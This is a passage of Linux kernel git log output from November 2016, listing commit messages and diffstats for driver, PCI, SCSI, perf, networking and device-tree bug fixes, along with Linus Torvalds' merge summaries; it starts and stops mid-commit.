iproc: Make clocks visible options"), COMMON_CLK_IPROC gained a dependency on ARCH_BCM_IPROC, yet CLK_BCM_63XX also selects that option, this causes the following Kconfig warning: warning: (CLK_BCM_63XX) selects COMMON_CLK_IPROC which has unmet direct dependencies ((ARCH_BCM_IPROC || COMPILE_TEST) && COMMON_CLK) Fix this by adding proper depends for COMMON_CLK_IPROC Fixes: f4e871509959 ("clk: iproc: Make clocks visible options") Signed-off-by: Florian Fainelli Reviewed-by: Ray Jui [sboyd@codeaurora.org: Drop default part as it's redundant] Signed-off-by: Stephen Boyd drivers/clk/bcm/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e42010d8207f9d15a605ceb8e321bcd9648071b0 Author: Johannes Thumshirn Date: Wed Nov 23 10:56:28 2016 -0600 PCI: Set Read Completion Boundary to 128 iff Root Port supports it (_HPX) Per PCIe spec r3.0, sec 2.3.1.1, the Read Completion Boundary (RCB) determines the naturally aligned address boundaries on which a Read Request may be serviced with multiple Completions: - For a Root Complex, RCB is 64 bytes or 128 bytes This value is reported in the Link Control Register Note: Bridges and Endpoints may implement a corresponding command bit which may be set by system software to indicate the RCB value for the Root Complex, allowing the Bridge/Endpoint to optimize its behavior when the Root Complex’s RCB is 128 bytes. - For all other system elements, RCB is 128 bytes Per sec 7.8.7, if a Root Port only supports a 64-byte RCB, the RCB of all downstream devices must be clear, indicating an RCB of 64 bytes. If the Root Port supports a 128-byte RCB, we may optionally set the RCB of downstream devices so they know they can generate larger Completions. Some BIOSes supply an _HPX that tells us to set RCB, even though the Root Port doesn't have RCB set, which may lead to Malformed TLP errors if the Endpoint generates completions larger than the Root Port can handle. The IBM x3850 X6 with BIOS version -[A8E120CUS-1.30]- 08/22/2016 supplies such an _HPX and a Mellanox MT27500 ConnectX-3 device fails to initialize: mlx4_core 0000:41:00.0: command 0xfff timed out (go bit not cleared) mlx4_core 0000:41:00.0: device is going to be reset mlx4_core 0000:41:00.0: Failed to obtain HW semaphore, aborting mlx4_core 0000:41:00.0: Fail to reset HCA ------------[ cut here ]------------ kernel BUG at drivers/net/ethernet/mellanox/mlx4/catas.c:193! After 6cd33649fa83 ("PCI: Add pci_configure_device() during enumeration") and 7a1562d4f2d0 ("PCI: Apply _HPX Link Control settings to all devices with a link"), we apply _HPX settings to *all* devices, not just those hot-added after boot. Before 7a1562d4f2d0, we didn't touch the Mellanox RCB, and the device worked. After 7a1562d4f2d0, we set its RCB to 128, and it failed. Set the RCB to 128 iff the Root Port supports a 128-byte RCB. Otherwise, set RCB to 64 bytes. This effectively ignores what _HPX tells us about RCB. Note that this change only affects _HPX handling. If we have no _HPX, this does nothing with RCB. [bhelgaas: changelog, clear RCB if not set for Root Port] Fixes: 6cd33649fa83 ("PCI: Add pci_configure_device() during enumeration") Fixes: 7a1562d4f2d0 ("PCI: Apply _HPX Link Control settings to all devices with a link") Link: https://bugzilla.kernel.org/show_bug.cgi?id=187781 Tested-by: Frank Danapfel Signed-off-by: Johannes Thumshirn Signed-off-by: Bjorn Helgaas Acked-by: Myron Stowe CC: stable@vger.kernel.org # v3.18+ drivers/pci/probe.c | 28 +++++++++++++++++++++++++++- 1 file changed, 27 insertions(+), 1 deletion(-) commit e784930bd645e7df78c66e7872fec282b0620075 Author: Johannes Thumshirn Date: Wed Nov 2 16:35:51 2016 -0600 PCI: Export pcie_find_root_port Export pcie_find_root_port() so we can use it outside of PCIe-AER error injection. Signed-off-by: Johannes Thumshirn Signed-off-by: Bjorn Helgaas drivers/pci/pcie/aer/aer_inject.c | 14 -------------- include/linux/pci.h | 14 ++++++++++++++ 2 files changed, 14 insertions(+), 14 deletions(-) commit 4d92c8d036a7f1c9671eb672e7623925f5274737 Merge: ded9b5d e658a6f Author: Linus Torvalds Date: Wed Nov 23 13:15:15 2016 -0800 Merge branch 'stable' of git://git.kernel.org/pub/scm/linux/kernel/git/cmetcalf/linux-tile Pull arch/tile bugfix from Chris Metcalf: "This fixes a bug that causes reboots after 208 days of uptime :-)" * 'stable' of git://git.kernel.org/pub/scm/linux/kernel/git/cmetcalf/linux-tile: tile: avoid using clocksource_cyc2ns with absolute cycle count commit 98fb2b95d293c4e29c35f188f7745a5e5db3db2d Author: Icenowy Zheng Date: Fri Nov 18 00:49:54 2016 +0800 clk: sunxi-ng: enable so-said LDOs for A33 SoC's pll-mipi clock In the user manual of A33 SoC, the bit 22 and 23 of pll-mipi control register is called "LDO{1,2}_EN", and according to the BSP source code from Allwinner [1], the LDOs are enabled during the clock's enabling process. The clock failed to generate output if the two LDOs are not enabled. Add the two bits to the clock's gate bits, so that the LDOs are enabled when the PLL is enabled. [1] https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/drivers/clk/sunxi/clk-sun8iw5.c#L429 Fixes: d05c748bd730 ("clk: sunxi-ng: Add A33 CCU support") Signed-off-by: Icenowy Zheng Acked-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard drivers/clk/sunxi-ng/ccu-sun8i-a33.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e658a6f14d7c0243205f035979d0ecf6c12a036f Author: Chris Metcalf Date: Wed Nov 16 11:18:05 2016 -0500 tile: avoid using clocksource_cyc2ns with absolute cycle count For large values of "mult" and long uptimes, the intermediate result of "cycles * mult" can overflow 64 bits. For example, the tile platform calls clocksource_cyc2ns with a 1.2 GHz clock; we have mult = 853, and after 208.5 days, we overflow 64 bits. Since clocksource_cyc2ns() is intended to be used for relative cycle counts, not absolute cycle counts, performance is more importance than accepting a wider range of cycle values. So, just use mult_frac() directly in tile's sched_clock(). Commit 4cecf6d401a0 ("sched, x86: Avoid unnecessary overflow in sched_clock") by Salman Qazi results in essentially the same generated code for x86 as this change does for tile. In fact, a follow-on change by Salman introduced mult_frac() and switched to using it, so the C code was largely identical at that point too. Peter Zijlstra then added mul_u64_u32_shr() and switched x86 to use it. This is, in principle, better; by optimizing the 64x64->64 multiplies to be 32x32->64 multiplies we can potentially save some time. However, the compiler piplines the 64x64->64 multiplies pretty well, and the conditional branch in the generic mul_u64_u32_shr() causes some bubbles in execution, with the result that it's pretty much a wash. If tilegx provided its own implementation of mul_u64_u32_shr() without the conditional branch, we could potentially save 3 cycles, but that seems like small gain for a fair amount of additional build scaffolding; no other platform currently provides a mul_u64_u32_shr() override, and tile doesn't currently have an header to put the override in. Additionally, gcc currently has an optimization bug that prevents it from recognizing the opportunity to use a 32x32->64 multiply, and so the result would be no better than the existing mult_frac() until such time as the compiler is fixed. For now, just using mult_frac() seems like the right answer. Cc: stable@kernel.org [v3.4+] Signed-off-by: Chris Metcalf arch/tile/kernel/time.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d3ac31f3b4bf9fade93d69770cb9c34912e017be Author: Peter Wu Date: Wed Nov 23 02:22:25 2016 +0100 drm/radeon: fix power state when port pm is unavailable (v2) When PCIe port PM is not enabled (system BIOS is pre-2015 or the pcie_port_pm=off parameter is set), legacy ATPX PM should still be marked as supported. Otherwise the GPU can fail to power on after runtime suspend. This affected a Dell Inspiron 5548. Ideally the BIOS date in the PCI core is lowered to 2013 (the first year where hybrid graphics platforms using power resources was introduced), but that seems more risky at this point and would not solve the pcie_port_pm=off issue. v2: agd: fix typo Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=98505 Signed-off-by: Peter Wu Signed-off-by: Alex Deucher Cc: # 4.8+ Reviewed-by: Alex Deucher drivers/gpu/drm/radeon/radeon_atpx_handler.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 1db4496f167bcc7c6541d449355ade2e7d339d52 Author: Peter Wu Date: Wed Nov 23 02:22:24 2016 +0100 drm/amdgpu: fix power state when port pm is unavailable When PCIe port PM is not enabled (system BIOS is pre-2015 or the pcie_port_pm=off parameter is set), legacy ATPX PM should still be marked as supported. Otherwise the GPU can fail to power on after runtime suspend. This affected a Dell Inspiron 5548. Ideally the BIOS date in the PCI core is lowered to 2013 (the first year where hybrid graphics platforms using power resources was introduced), but that seems more risky at this point and would not solve the pcie_port_pm=off issue. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=98505 Reported-and-tested-by: Nayan Deshmukh Signed-off-by: Peter Wu Signed-off-by: Alex Deucher Cc: # 4.8+ Acked-by: Christian König Reviewed-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_atpx_handler.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit d443a0aa3a291e5f78072f2fa464e03bc83fafad Author: Song Hongyan Date: Tue Nov 15 01:11:10 2016 +0000 HID: hid-sensor-hub: clear memory to avoid random data When user tried to read some fields like hysteresis from IIO sysfs on some systems, it fails. The reason is that this field is a byte field and caller of sensor_hub_get_feature() passes a buffer of 4 bytes. Here the function sensor_hub_get_feature() copies the single byte from the report to the caller buffer and returns "1" as the number of bytes copied. So caller can use the return value. But this is done by multiple callers, so if we just change the sensor_hub_get_feature so that caller buffer is initialized with 0s then we don't to change all functions. Signed-off-by: Song Hongyan Acked-by: Jonathan Cameron Signed-off-by: Jiri Kosina drivers/hid/hid-sensor-hub.c | 1 + 1 file changed, 1 insertion(+) commit 6dab07df555b652d8d989348b2ce04498d7f9a70 Author: Benjamin Tissoires Date: Mon Nov 21 11:48:42 2016 +0100 HID: rmi: make transfer buffers DMA capable Kernel v4.9 strictly enforces DMA capable buffers, so we need to remove buffers allocated on the stack. Signed-off-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-rmi.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit b7a87ad6775f3ed69e6573b91ed3c2f1338884ad Author: Benjamin Tissoires Date: Mon Nov 21 11:48:41 2016 +0100 HID: magicmouse: make transfer buffers DMA capable Kernel v4.9 strictly enforces DMA capable buffers, so we need to remove buffers allocated on the stack. Signed-off-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-magicmouse.c | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) commit 061232f0d47fa10103f3efa3e890f002a930d902 Author: Benjamin Tissoires Date: Mon Nov 21 11:48:40 2016 +0100 HID: lg: make transfer buffers DMA capable Kernel v4.9 strictly enforces DMA capable buffers, so we need to remove buffers allocated on the stack. [jkosina@suse.cz: fix up second usage of hid_hw_raw_request(), spotted by 0day build bot] Signed-off-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-lg.c | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) commit 1ffb3c40ffb5c51bc39736409b11816c4260218e Author: Benjamin Tissoires Date: Mon Nov 21 11:48:39 2016 +0100 HID: cp2112: make transfer buffers DMA capable Kernel v4.9 strictly enforces DMA capable buffers, so we need to remove buffers allocated on the stack. Use a spinlock to prevent concurrent accesses to the buffer. Signed-off-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-cp2112.c | 115 ++++++++++++++++++++++++++++++++--------------- 1 file changed, 79 insertions(+), 36 deletions(-) commit ded9b5dd205ef04aa095c3b731c635b201191a59 Merge: 23aabe7 033ac60 Author: Linus Torvalds Date: Wed Nov 23 08:09:21 2016 -0800 Merge branch 'perf-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull perf fixes from Ingo Molnar: "Six fixes for bugs that were found via fuzzing, and a trivial hw-enablement patch for AMD Family-17h CPU PMUs" * 'perf-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: perf/x86/intel/uncore: Allow only a single PMU/box within an events group perf/x86/intel: Cure bogus unwind from PEBS entries perf/x86: Restore TASK_SIZE check on frame pointer perf/core: Fix address filter parser perf/x86: Add perf support for AMD family-17h processors perf/x86/uncore: Fix crash by removing bogus event_list[] handling for SNB client uncore IMC perf/core: Do not set cpuctx->cgrp for unscheduled cgroups commit 5499a6b22e5508b921c447757685b0a5e40a07ed Author: Oliver Hartkopp Date: Wed Nov 23 14:33:25 2016 +0100 can: bcm: fix support for CAN FD frames Since commit 6f3b911d5f29b98 ("can: bcm: add support for CAN FD frames") the CAN broadcast manager supports CAN and CAN FD data frames. As these data frames are embedded in struct can[fd]_frames which have a different length the access to the provided array of CAN frames became dependend of op->cfsiz. By using a struct canfd_frame pointer for the array of CAN frames the new offset calculation based on op->cfsiz was accidently applied to CAN FD frame element lengths. This fix makes the pointer to the arrays of the different CAN frame types a void pointer so that the offset calculation in bytes accesses the correct CAN frame elements. Reference: http://marc.info/?l=linux-netdev&m=147980658909653 Reported-by: Andrey Konovalov Signed-off-by: Oliver Hartkopp Tested-by: Andrey Konovalov Cc: linux-stable Signed-off-by: Marc Kleine-Budde net/can/bcm.c | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) commit 8478132a8784605fe07ede555f7277d989368d73 Author: Russell King Date: Wed Nov 23 10:00:03 2016 +0000 Revert "arm: move exports to definitions" This reverts commit 4dd1837d7589f468ed109556513f476e7a7f9121. Moving the exports for assembly code into the assembly files breaks KSYM trimming, but also breaks modversions. While fixing the KSYM trimming is trivial, fixing modversions brings us to a technically worse position that we had prior to the above change: - We end up with the prototype definitions divorsed from everything else, which means that adding or removing assembly level ksyms become more fragile: * if adding a new assembly ksyms export, a missed prototype in asm-prototypes.h results in a successful build if no module in the selected configuration makes use of the symbol. * when removing a ksyms export, asm-prototypes.h will get forgotten, with armksyms.c, you'll get a build error if you forget to touch the file. - We end up with the same amount of include files and prototypes, they're just in a header file instead of a .c file with their exports. As for lines of code, we don't get much of a size reduction: (original commit) 47 files changed, 131 insertions(+), 208 deletions(-) (fix for ksyms trimming) 7 files changed, 18 insertions(+), 5 deletions(-) (two fixes for modversions) 1 file changed, 34 insertions(+) 3 files changed, 7 insertions(+), 2 deletions(-) which results in a net total of only 25 lines deleted. As there does not seem to be much benefit from this change of approach, revert the change. Signed-off-by: Russell King arch/arm/include/asm/Kbuild | 1 - arch/arm/kernel/Makefile | 2 +- arch/arm/kernel/armksyms.c | 183 ++++++++++++++++++++++++++++++++++ arch/arm/kernel/entry-ftrace.S | 3 - arch/arm/kernel/head.S | 3 - arch/arm/kernel/smccc-call.S | 3 - arch/arm/lib/ashldi3.S | 3 - arch/arm/lib/ashrdi3.S | 3 - arch/arm/lib/bitops.h | 5 - arch/arm/lib/bswapsdi2.S | 3 - arch/arm/lib/clear_user.S | 4 - arch/arm/lib/copy_from_user.S | 2 - arch/arm/lib/copy_page.S | 2 - arch/arm/lib/copy_to_user.S | 4 - arch/arm/lib/csumipv6.S | 3 +- arch/arm/lib/csumpartial.S | 2 - arch/arm/lib/csumpartialcopy.S | 1 - arch/arm/lib/csumpartialcopygeneric.S | 2 - arch/arm/lib/csumpartialcopyuser.S | 1 - arch/arm/lib/delay.c | 2 - arch/arm/lib/div64.S | 2 - arch/arm/lib/findbit.S | 9 -- arch/arm/lib/getuser.S | 9 -- arch/arm/lib/io-readsb.S | 2 - arch/arm/lib/io-readsl.S | 2 - arch/arm/lib/io-readsw-armv3.S | 3 +- arch/arm/lib/io-readsw-armv4.S | 2 - arch/arm/lib/io-writesb.S | 2 - arch/arm/lib/io-writesl.S | 2 - arch/arm/lib/io-writesw-armv3.S | 2 - arch/arm/lib/io-writesw-armv4.S | 2 - arch/arm/lib/lib1funcs.S | 9 -- arch/arm/lib/lshrdi3.S | 3 - arch/arm/lib/memchr.S | 2 - arch/arm/lib/memcpy.S | 3 - arch/arm/lib/memmove.S | 2 - arch/arm/lib/memset.S | 3 - arch/arm/lib/memzero.S | 2 - arch/arm/lib/muldi3.S | 3 - arch/arm/lib/putuser.S | 5 - arch/arm/lib/strchr.S | 2 - arch/arm/lib/strrchr.S | 2 - arch/arm/lib/uaccess_with_memcpy.c | 3 - arch/arm/lib/ucmpdi2.S | 3 - arch/arm/mach-imx/Makefile | 1 + arch/arm/mach-imx/ssi-fiq-ksym.c | 20 ++++ arch/arm/mach-imx/ssi-fiq.S | 7 +- 47 files changed, 208 insertions(+), 131 deletions(-) commit 23aabe73d53c29ee8da71397f87f190bdcde5b68 Merge: 23400ac c8467f7 Author: Linus Torvalds Date: Wed Nov 23 01:11:50 2016 -0800 Merge branch 'linus' of git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6 Pull crypto fixes from Herbert Xu: "The last push broke algif_hash for all shash implementations, so this is a follow-up to fix that. This also fixes a problem in the crypto scatterwalk that triggers a BUG_ON with certain debugging options due to the new vmalloced-stack code" * 'linus' of git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6: crypto: scatterwalk - Remove unnecessary aliasing check in map_and_copy crypto: algif_hash - Fix result clobbering in recvmsg commit 86b4522d19329b3bf9c05722f217568b803439f7 Author: Loic Pallardy Date: Wed Nov 16 13:57:00 2016 +0100 ARM: dts: STiH407-family: fix i2c nodes The I2C nodes are missing #address-cells and #size-cells. This is causing warning at device tree compilation when some I2C device sub-nodes are defined. Signed-off-by: Loic Pallardy arch/arm/boot/dts/stih407-family.dtsi | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 6b226487815574193c1da864f2eac274781a2b0c Author: Miroslav Urbanek Date: Mon Nov 21 15:48:21 2016 +0100 flowcache: Increase threshold for refusing new allocations The threshold for OOM protection is too small for systems with large number of CPUs. Applications report ENOBUFs on connect() every 10 minutes. The problem is that the variable net->xfrm.flow_cache_gc_count is a global counter while the variable fc->high_watermark is a per-CPU constant. Take the number of CPUs into account as well. Fixes: 6ad3122a08e3 ("flowcache: Avoid OOM condition under preasure") Reported-by: Lukáš Koldrt Tested-by: Jan Hejl Signed-off-by: Miroslav Urbanek Signed-off-by: Steffen Klassert net/core/flow.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit c65c945c31d071d1f8cd2c35541a6cdf80b5f835 Merge: d8188b1 23b98e4 Author: James Bottomley Date: Tue Nov 22 14:27:06 2016 -0800 Merge remote-tracking branch 'mkp-scsi/4.9/scsi-fixes' into fixes commit 23b98e4b5fc5efd1d5d5f018bc7f954cd119f538 Author: Dan Carpenter Date: Fri Nov 18 14:53:39 2016 +0300 scsi: be2iscsi: allocate enough memory in beiscsi_boot_get_sinfo() We accidentally allocate sizeof(u32) instead of sizeof(struct be_cmd_get_session_resp). Fixes: 50a4b824be9e ("scsi: be2iscsi: Fix to make boot discovery non-blocking") Signed-off-by: Dan Carpenter Reviewed by: Jitendra Bhivare Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_mgmt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7ff723ad0f87feba43dda45fdae71206063dd7d4 Author: Suganath Prabu S Date: Thu Nov 17 16:15:58 2016 +0530 scsi: mpt3sas: Unblock device after controller reset While issuing any ATA passthrough command to firmware the driver will block the device. But it will unblock the device only if the I/O completes through the ISR path. If a controller reset occurs before command completion the device will remain in blocked state. Make sure we unblock the device following a controller reset if an ATA passthrough command was queued. [mkp: clarified patch description] Cc: # v4.4+ Fixes: ac6c2a93bd07 ("mpt3sas: Fix for SATA drive in blocked state, after diag reset") Signed-off-by: Suganath Prabu S Signed-off-by: Martin K. Petersen drivers/scsi/mpt3sas/mpt3sas_scsih.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit 7630b3a599e2c6d1c042945d32ff2debc855ad29 Author: Hannes Reinecke Date: Thu Nov 17 12:15:56 2016 +0100 scsi: hpsa: use bus '3' for legacy HBA devices Older controllers use SCSI target id '0' for the first internal disk. As the controllers are now placed on the same bus as the internal disks this leads to a clash with the SCSI target id of controller. This patch checks the SCSI revision, and moves older controller to bus '3' to be compatible with older releases and avoid this problem. [mkp: fixed uninitialized variable] Fixes: 09371d623c9 ("hpsa: Change SAS transport devices to bus 0.") Cc: # v4.5+ Signed-off-by: Hannes Reinecke Acked-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/hpsa.c | 16 +++++++++++----- drivers/scsi/hpsa.h | 2 ++ 2 files changed, 13 insertions(+), 5 deletions(-) commit 23400ac997062647f2b63c82030d189671b1effe Merge: b66c08b ec638db Author: Linus Torvalds Date: Tue Nov 22 13:53:01 2016 -0800 Merge branch 'for-rc' of git://git.kernel.org/pub/scm/linux/kernel/git/rzhang/linux Pull thermal management fix from Zhang Rui: "We only have one urgent fix this time. Commit 3105f234e0ab ("thermal/powerclamp: correct cpu support check"), which is shipped in 4.9-rc3, fixed a problem introduced by commit b721ca0d1927 ("thermal/powerclamp: remove cpu whitelist"). But unfortunately, it broke intel_powerclamp driver module auto- loading at the same time. Thus we need this change to add back module auto-loading for 4.9" * 'for-rc' of git://git.kernel.org/pub/scm/linux/kernel/git/rzhang/linux: thermal/powerclamp: add back module device table commit 39385cb5f3274735b03ed1f8e7ff517b02a0beed Author: Johan Hedberg Date: Sat Nov 12 17:03:07 2016 +0200 Bluetooth: Fix using the correct source address type The hci_get_route() API is used to look up local HCI devices, however so far it has been incapable of dealing with anything else than the public address of HCI devices. This completely breaks with LE-only HCI devices that do not come with a public address, but use a static random address instead. This patch exteds the hci_get_route() API with a src_type parameter that's used for comparing with the right address of each HCI device. Signed-off-by: Johan Hedberg Signed-off-by: Marcel Holtmann include/net/bluetooth/hci_core.h | 2 +- net/bluetooth/6lowpan.c | 4 ++-- net/bluetooth/hci_conn.c | 26 ++++++++++++++++++++++++-- net/bluetooth/l2cap_core.c | 2 +- net/bluetooth/rfcomm/tty.c | 2 +- net/bluetooth/sco.c | 2 +- 6 files changed, 30 insertions(+), 8 deletions(-) commit b66c08ba28aa1f81eb06a1127aa3936ff77e5e2c Merge: 57527ed d8188b1 Author: Linus Torvalds Date: Tue Nov 22 13:48:05 2016 -0800 Merge tag 'scsi-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi Pull SCSI fixes from James Bottomley: "Two small fixes. One prevents timeouts on mpt3sas when trying to use the secure erase protocol which causes the erase protocol to be aborted. The second is a regression in a prior fix which causes all commands to abort during PCI extended error recovery, which is incorrect because PCI EEH is independent from what's happening on the FC transport" * tag 'scsi-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi: scsi: qla2xxx: do not abort all commands in the adapter during EEH recovery scsi: mpt3sas: Fix secure erase premature termination commit 57527ed10b3bc2abf50844f6995371fa9ac503df Merge: 000b894 c861667 Author: Linus Torvalds Date: Tue Nov 22 13:20:34 2016 -0800 Merge tag 'clk-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux Pull clk fixes from Stephen Boyd: "A handful of driver fixes. The sunxi fixes are for an incorrect clk tree configuration and a bad frequency calculation. The other two are fixes for passing the wrong pointer in drivers recently converted to clk_hw style registration" * tag 'clk-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux: clk: efm32gg: Pass correct type to hw provider registration clk: berlin: Pass correct type to hw provider registration clk: sunxi: Fix M factor computation for APB1 clk: sunxi-ng: sun6i-a31: Force AHB1 clock to use PLL6 as parent commit d55b352b01bc78fbc3d1bb650140668b87e58bf9 Author: Arnd Bergmann Date: Tue Nov 22 21:50:52 2016 +0100 NFSv4.x: hide array-bounds warning A correct bugfix introduced a harmless warning that shows up with gcc-7: fs/nfs/callback.c: In function 'nfs_callback_up': fs/nfs/callback.c:214:14: error: array subscript is outside array bounds [-Werror=array-bounds] What happens here is that the 'minorversion == 0' check tells the compiler that we assume minorversion can be something other than 0, but when CONFIG_NFS_V4_1 is disabled that would be invalid and result in an out-of-bounds access. The added check for IS_ENABLED(CONFIG_NFS_V4_1) tells gcc that this really can't happen, which makes the code slightly smaller and also avoids the warning. The bugfix that introduced the warning is marked for stable backports, we want this one backported to the same releases. Fixes: 98b0f80c2396 ("NFSv4.x: Fix a refcount leak in nfs_callback_up_net") Cc: stable@vger.kernel.org # v3.7+ Signed-off-by: Arnd Bergmann Signed-off-by: Anna Schumaker fs/nfs/callback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 000b8949e903fc8bf78b99ac8568347251986ebf Merge: 7cfc431 8e5bfa8 Author: Linus Torvalds Date: Tue Nov 22 12:51:35 2016 -0800 Merge branch 'sched-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull scheduler fixes from Ingo Molnar: "Two fixes for autogroup scheduling, for races when turning the feature on/off via /proc/sys/kernel/sched_autogroup_enabled" * 'sched-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: sched/autogroup: Do not use autogroup->tg in zombie threads sched/autogroup: Fix autogroup_move_group() to never skip sched_move_task() commit 7cfc4317ea56615aaa006f37fc89ed248fcc0fc0 Merge: 3b404a5 e5dce28 Author: Linus Torvalds Date: Tue Nov 22 12:17:49 2016 -0800 Merge branch 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull x86 fixes from Ingo Molnar: "Misc fixes: - two fixes to make (very) old Intel CPUs boot reliably - fix the intel-mid driver and rename it - two KASAN false positive fixes - an FPU fix - two sysfb fixes - two build fixes related to new toolchain versions" * 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: x86/platform/intel-mid: Rename platform_wdt to platform_mrfld_wdt x86/build: Build compressed x86 kernels as PIE when !CONFIG_RELOCATABLE as well x86/platform/intel-mid: Register watchdog device after SCU x86/fpu: Fix invalid FPU ptrace state after execve() x86/boot: Fail the boot if !M486 and CPUID is missing x86/traps: Ignore high word of regs->cs in early_fixup_exception() x86/dumpstack: Prevent KASAN false positive warnings x86/unwind: Prevent KASAN false positive warnings in guess unwinder x86/boot: Avoid warning for zero-filling .bss x86/sysfb: Fix lfb_size calculation x86/sysfb: Add support for 64bit EFI lfb_base commit c9b8af1330198ae241cd545e1f040019010d44d9 Author: Eric Dumazet Date: Tue Nov 22 11:17:30 2016 -0800 flow_dissect: call init_default_flow_dissectors() earlier Andre Noll reported panics after my recent fix (commit 34fad54c2537 "net: __skb_flow_dissect() must cap its return value") After some more headaches, Alexander root caused the problem to init_default_flow_dissectors() being called too late, in case a network driver like IGB is not a module and receives DHCP message very early. Fix is to call init_default_flow_dissectors() much earlier, as it is a core infrastructure and does not depend on another kernel service. Fixes: 06635a35d13d4 ("flow_dissect: use programable dissector in skb_flow_dissect and friends") Signed-off-by: Eric Dumazet Reported-by: Andre Noll Diagnosed-by: Alexander Duyck Signed-off-by: David S. Miller net/core/flow_dissector.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4345a64ac931a8dc499f1fc69880952412f36c3e Author: Helge Deller Date: Thu Nov 17 21:13:56 2016 +0100 parisc: Fix printk continuations in system detection Signed-off-by: Helge Deller arch/parisc/kernel/inventory.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 7a79279e7186c4ac8b753cbd335ecc4ba81b5970 Author: Russell King Date: Tue Nov 22 13:56:54 2016 +0000 drm/arm: hdlcd: fix plane base address update While testing HDMI with Xorg on the Juno board, I find that when Xorg starts up or shuts down, the display is shifted significantly to the right and wrapped in the active region. (No sync bars are visible.) The timings are correct, it behaves as if the start address has been shifted many pixels _into_ the framebuffer. This occurs whenever the display mode size is changed - using xrandr in Xorg shows that changing the resolution triggers the problem almost every time, but changing the refresh rate does not. Using devmem2 to disable and re-enable the HDLCD resolves the issue, and repeated disable/enable cycles do not make the issue re-appear. Further debugging shows that we try to update the controller configuration while enabled. Alwys ensure that the HDLCD is disabled prior to updating the controller timings, and use drm_crtc_vblank_off()/drm_crtc_vblank_on() so that DRM knows whether it can expect vblank interrupts. Signed-off-by: Russell King Signed-off-by: Liviu Dudau drivers/gpu/drm/arm/hdlcd_crtc.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit e5cd7ff7058dc6f2133455636809a09b691ee419 Author: Maxime Ripard Date: Tue Nov 22 15:06:04 2016 +0100 ARM: gr8: Rename the DTSI and relevant DTS Reviews have found that sun5i was a better prefix after all for the GR8. Rename the relevant device trees before it's too late. Signed-off-by: Maxime Ripard arch/arm/boot/dts/Makefile | 2 +- arch/arm/boot/dts/ntc-gr8-evb.dts | 342 ----------- arch/arm/boot/dts/ntc-gr8.dtsi | 1087 ----------------------------------- arch/arm/boot/dts/sun5i-gr8-evb.dts | 342 +++++++++++ arch/arm/boot/dts/sun5i-gr8.dtsi | 1087 +++++++++++++++++++++++++++++++++++ 5 files changed, 1430 insertions(+), 1430 deletions(-) commit 033ac60c7f21f9996a0fab2fd04f334afbf77b33 Author: Peter Zijlstra Date: Fri Nov 18 13:53:54 2016 +0100 perf/x86/intel/uncore: Allow only a single PMU/box within an events group Group validation expects all events to be of the same PMU; however is_uncore_pmu() is too wide, it matches _all_ uncore events, even across PMUs. This triggers failure when we group different events from different uncore PMUs, like: perf stat -vv -e '{uncore_cbox_0/config=0x0334/,uncore_qpi_0/event=1/}' -a sleep 1 Fix is_uncore_pmu() by only matching events to the box at hand. Note that generic code; ran after this step; will disallow this mixture of PMU events. Reported-by: Jiri Olsa Tested-by: Jiri Olsa Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Kan Liang Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: Vince Weaver Link: http://lkml.kernel.org/r/20161118125354.GQ3117@twins.programming.kicks-ass.net Signed-off-by: Ingo Molnar arch/x86/events/intel/uncore.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit b8000586c90b4804902058a38d3a59ce5708e695 Author: Peter Zijlstra Date: Thu Nov 17 18:17:31 2016 +0100 perf/x86/intel: Cure bogus unwind from PEBS entries Vince Weaver reported that perf_fuzzer + KASAN detects that PEBS event unwinds sometimes do 'weird' things. In particular, we seemed to be ending up 